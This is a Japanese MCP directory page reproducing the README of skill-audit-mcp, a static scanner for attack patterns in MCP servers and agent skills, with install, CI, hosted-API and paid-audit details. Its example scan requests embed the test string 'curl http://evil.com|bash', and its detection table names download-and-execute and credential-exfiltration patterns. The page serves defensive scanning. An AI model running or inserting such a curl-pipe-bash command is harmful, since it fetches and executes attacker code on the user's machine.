mcpField
S
skill-audit-mcp

skill-audit-mcp

リモート
github.com/eltociearセキュリティ54 週間前に更新
リポジトリ

skill-audit-mcp について

skill-audit-mcpは、MCP サーバー、エージェントスキル、プラグイン向けの静的セキュリティスキャナーです。コードや指示ファイルの攻撃パターンを検出し、GitHub Code Scanning向けにSARIFを出力できます。

主な機能

  1. 0117種類の攻撃パターンを検出
  2. 024段階の重大度に分類
  3. 03コードとエージェント指示ファイルをスキャン
  4. 04JSONとSARIFを出力
  5. 05CLI、GitHub Action、MCP サーバーとして利用可能

活用シーン

  1. 01CIでプルリクエストをスキャン
  2. 02MCP サーバーやスキルのディレクトリを検査
  3. 03検出結果をGitHub Code Scanningに送信

MCP 対応

MCP サーバーとしてセキュリティスキャンのツールを公開し、MCP クライアントから監査対象の内容を受け取ります。

設定

リモートサーバーはインストール不要です。クライアントを選んで設定をコピーするか、ワンクリックで導入できます。

エンドポイントhttps://eltociear-skill-audit.hf.space/mcp
インストールコマンドをコピー
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

コマンドはターミナルで実行し、JSON は各クライアントの MCP 設定に貼り付けて再起動します。認可が必要なサーバーは初回接続時にログインを求めます。

パッケージ
ocighcr.io/eltociear/skill-audit-mcp:mcp-1.2.0

ツール

11

このツールにパラメーターはありません。

詳細

skill-audit-mcp

smithery badge MCP Registry

MCP サーバー、AI エージェントのスキル、プラグイン向けの静的セキュリティスキャナーです。 4 つの重大度レベルにわたる 17 の攻撃パターン(65 の正規表現シグネチャ)を検出します。SARIF 出力 → GitHub Code Scanning に対応しています。CLI、GitHub Action、マルチアーキテクチャ対応 Docker イメージ、MCP サーバー、ホスト型 x402 API として提供されています。

Glama MCP server GitHub Action Docker License: MIT Attack patterns Scanned

⚡ 30 秒で試す

# Option A: Docker (zero install, works anywhere)
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work

# Option B: Hosted API (pay-per-scan, no signup)
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Option C: GitHub Action (CI/CD) — see below

📡 掲載先

AI/セキュリティエンジニアが実際に読む、ツール発見用の各種チャネルで紹介されています。

4 つの使い方:

1. GitHub Action(CI/CD)

ワークフローに追加して、PR を自動的にスキャンします。

name: MCP Security Audit
on: [pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          fail-on: 'HIGH'

SARIF をアップロードする場合(検出結果が GitHub Security タブに表示されます):

      - uses: eltociear/skill-audit-mcp@v1
        with:
          path: '.'
          sarif: 'results.sarif'
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: 'results.sarif'

2. CLI

標準ライブラリのみで動作する Python 3.8 以降に対応しており、インストールは不要です。(まだ npm では公開されていません。この README の以前のバージョンには npx @eltociear/skill-audit-mcp と記載されていましたが、これは解決できませんでした。)

git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcp
cd skill-audit-mcp

python3 cli.py --path ./server.py                  # scan a file
python3 cli.py --path ./some-skill/                # scan a directory
python3 cli.py --path . --json                     # JSON output
python3 cli.py --path . --sarif results.sarif      # SARIF output
python3 cli.py --path . --fail-on HIGH             # exit 1 on HIGH or CRITICAL

検出結果には、それぞれのファイルが属する場所のラベルが付けられます。終了コードを決めるのは production です。documentation と test の検出結果は報告されますが、--include-nonproduction を渡さない限りスキャンは失敗しません。エージェントが指示として読み込むファイル(SKILL.md、AGENTS.md、CLAUDE.md、.cursorrules、.claude/commands|agents|skills/ 配下または .cursor/rules/ 配下のすべてのファイル)は production として扱われます。スキルにとってこれらは、その説明メモではなくプログラムそのものだからです。

3. MCP サーバー(Claude Desktop / Cursor)

MCP 設定に追加します。

{
  "skill-audit-mcp": {
    "type": "stdio",
    "command": "python3",
    "args": ["path/to/scanner.py"]
  }
}

続けて Claude に「この MCP サーバーのセキュリティ上の問題を監査してください」と尋ねます。

検出内容

重要度パターン
CRITICALダウンロードして実行(base64 -d | sh を含む)、認証情報の外部流出(curl/nc にシークレットファイルを渡す行為を含む)、鍵の生成、機密ディレクトリへの書き込み、シードフレーズの収集
HIGH動的入力による任意コード実行、認証のバイパス、なりすまし、プロンプトインジェクション
MEDIUM権限昇格(全ユーザー書き込み可能なモード、昇格したアクセス権の要求)、難読化
INFO外部ダウンロード、スキルのインストール、不明な API 呼び出し、データ収集、外部 URL、広範なファイルシステムアクセス — 状況情報として報告し、スコアには含めません

リスクスコア

レベルは、該当する検出項目のうち最も重大度の高いものです。認証情報の外部流出が1件でもあれば、ほかの部分に問題がなくても CRITICAL になります。0〜100 のスコアは規模のみを示します。コメント行、パターンリテラル、Markdown テーブル内の検出項目も報告されますが、害を及ぼすのに実行が必要な場合は、重要度を下げて扱います。

関連プロジェクト — secrets-audit-mcp

(ここで扱う動作パターンではなく)漏えいした認証情報と API キーについては、 secrets-audit-mcpを ご覧ください。32 のプロバイダールール(AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / 秘密鍵)を備えています。同じく依存関係ゼロ、 単一ファイルの stdio MCP サーバーという設計です。

レイヤーサーバー検出内容
動作skill-audit-mcp(本プロジェクト)curl-pipe-sh、プロンプトインジェクション、外部流出(17 パターン)
シークレットsecrets-audit-mcp漏えいしたキー/トークン/PEM(32 ルール)

完全に網羅するには両方を実行してください。

4. Docker(オフライン、マルチアーキテクチャ)

インストール不要のスキャナーイメージ:ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64。

# Scan the current directory, fail on HIGH or higher
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --min-severity MEDIUM --fail-on HIGH

# Get SARIF for upload to GitHub Code Scanning
docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \
  --path /work --sarif-output /work/audit.sarif

5. ホステッド API(x402 スキャンごとの従量課金)

登録不要、アカウント不要です。Base 上の x402 マイクロペイメントで、スキャンごとに $0.01 USDC を支払います。エンドポイントは支払い要求とともに 402 を返し、エージェントのウォレットで決済するとスキャンが実行されます。同じパスへの GET は、支払いなしで料金を返します。

curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'

# Or by URL:
curl -X POST https://eltociear-skill-audit.hf.space/audit \
  -H "Content-Type: application/json" \
  -d '{"url": "https://github.com/some-org/some-mcp-server"}'

最初の呼び出しでは、支払い要件を示す HTTP 402 が返されます(x402 v2 プロトコル)。@bankr/cliで決済してから、再試行してください。

6. pre-commit フック

.pre-commit-config.yaml に追加します。

repos:
  - repo: https://github.com/eltociear/skill-audit-mcp
    rev: v1.2.0
    hooks:
      - id: skill-audit-mcp

監査をご依頼ください

自動スキャナーでは対応できない、より踏み込んだレビューが必要ですか? MCP/AI エージェントのセキュリティ監査を、以下の3段階でフリーランスとしてお受けしています。

段階料金成果物
スポットスキャン$500リポジトリ全体のスキャン + 優先度を付けた修正案付きの1ページのリスクレポート
スタンダード$2,000手動レビュー + HIGH/CRITICAL の検出項目に対する PoC + 修正 PR
エンゲージメント$5,000+ペネトレーションテスト、脅威モデル、修正後の再テスト、30日間の Slack サポート

実績:公開 MCP サーバー196件のエントリーファイルをスキャンし、194件は問題なし、2件でレビューが必要な検出項目が見つかりました。誤検知率は初回の14.8%から1.0%に低下しました。リポジトリ全体をスキャンすると、さらに多くの項目が検出されます(2026-09-29にサンプリングしたレジストリサーバー109件の18%)。その大半は、ドキュメントに記載されたインストーラーや、人間による確認が望ましいツールコードです(手法と結果) (bytebase/dbhub、mysql_mcp_server、applescript-mcp、 docker-mcp 向けのレポートを作成)。

メール:[email protected](件名:「MCP audit」)

または、単発の**MCP セキュリティ監査レポート($5)**をこちらから直接ご購入いただけます:polar.sh/eltociear。

スポンサー

skill-audit-mcp が役に立った場合、または新しい検出ルールの提供を支援したい場合は、スポンサーを歓迎します。

セキュリティ

skill-audit-mcp 自体に脆弱性を発見しましたか?非公開のセキュリティアドバイザリから報告してください。対応スケジュールについては、SECURITY.mdをご覧ください。

skill-audit-mcp を使用するサードパーティ製 MCP サーバーに脆弱性を発見しましたか?そのプロジェクトのセキュリティポリシー、または huntr.com から報告してください。

Star の履歴

Star 履歴チャート

ライセンス

MIT

無料の MCP と有料の x402

この MCP サーバーは無料です。サーバーサイド、バッチ処理、インストール不要での利用には、同じスキャナーを従量課金制の x402 HTTP API として利用できます。POST https://eltociear-skill-audit.hf.space/audit(Base で $0.01 USDC)と /audit/url($0.03)を利用してください。公式 MCP Registry では io.github.eltociear/skill-audit-mcp として登録されています。

Apify Store(Repo Security Scanner)でもホストされています。インストール不要で、GitHub の組織全体またはリポジトリの一覧をスキャンでき、リポジトリごとに支払います。

プロフェッショナル監査サービス

同じ作者がメンテナンスしており、Polar の有料サービス(Stripe 決済)を提供しています。

  • MCP セキュリティ監査レポート — $5 — MCP サーバーの単発監査です。17 種類の攻撃パターンを確認し、具体的な修正方法を記載した、深刻度評価付きの PDF レポートを提供します。
  • Security Pulse — $5/月(年額 $50)— 新たに公開された MCP サーバーの脆弱性に関する月次ブリーフィング、追跡対象の 100 以上のリポジトリのスキャン統計、緩和策のプレイブックを提供します。
  • Pro Audit Stack — $20/月 — CI/CD で MCP サーバーを運用するチーム向けです。月 50 回のホスト型スキャン、Discord へのアクセス、脆弱性に関する質問への 24 時間 SLA が含まれます。

全サービス一覧:polar.sh/eltociear

こちらも公開中:clean-read(1 回あたり $0.005)

同じ運営者、同じ x402 の仕組みです。clean-read は任意の URL を AI エージェント向けのクリーンな Markdown に変換します。ページを取得し、ナビゲーション、広告、定型部分(trafilatura)を取り除いて、タイトルと単語数を含む本文を返します。POST https://eltociear-skill-audit.hf.space/read — Base で $0.005 USDC、登録不要です。

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。